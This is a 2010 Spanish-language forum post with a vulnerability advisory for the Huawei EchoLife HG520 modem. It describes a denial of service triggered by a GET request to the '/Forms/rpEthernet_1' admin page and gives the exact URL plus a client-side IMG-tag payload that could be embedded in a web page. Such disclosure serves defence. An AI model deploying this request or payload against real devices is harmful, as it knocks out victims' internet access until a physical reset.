Autor Tema: Huawei EchoLife HG520 Denegacion de Servicio en rpEthernet_1  (Leído 4713 veces)

0 Usuarios y 1 Visitante están viendo este tema.

SHAKA

  • xMHT
  • **
  • Mensajes: 166
  • Liked: 30
  • HTFP!!!

         ==========================================================
        HUAWEI ECHOLIFE HG520 Denegacion de servicio en rpEthernet_1
         ==========================================================

Dispositivo:            EchoLife HG520
Version de Software:    V100R001B021Telmex
                        V100R001B020Telmex
Version de Firmware:    3.10.18.7-1.0.7.0 (ultima version)
                        3.10.18.5-1.0.7.0
Modelos Vulnerables:    HG520b
                        HG520c
Fecha de publicacion:   2010-05-30
Criticidad:             Bajo
Impacto:                Denegacion de servicio
Donde:                  En la interfaz de administracion web (LAN/WAN)
Solucion:               No existe solucion disponible en este momento
Video POC:              http://www.hakim.ws/videos/HG520_rpEthernet_DoS.flv
______________________________________________________________________

 [Descripcion]
=================
Los modems HG520 publican una interfaz de administracion via web en la red local.
Al realizar una peticion a la pagina '/Forms/rpEthernet_1' se provoca una
denegacion de servicio que deshabilita la comunicacion hasta que se efectue una
restauracion fisica (presionar el boton de reset) del dispositivo.

 [Exploit]
=================
Desde la LAN o via Client-Side se puede realizar una peticion tipo GET a:

  'http://192.168.1.254/Forms/rpEthernet_1':

Se podria usar Client-Side visitando una pagina que contenga:

  <IMG SRC-http://192.168.1.254/Forms/rpEthernet_1>

  [Solucion]
=================
No existe parche o solucion disponible en este momento.
______________________________________________________________________

Agradecimiento especial a hkm por su enorme ayuda!!!.

SHAKA                                                           -BSH-

hakim.ws
« Última Modificación: mayo 30, 2010, 11:40:32 am por hkm »
Arayashi-ki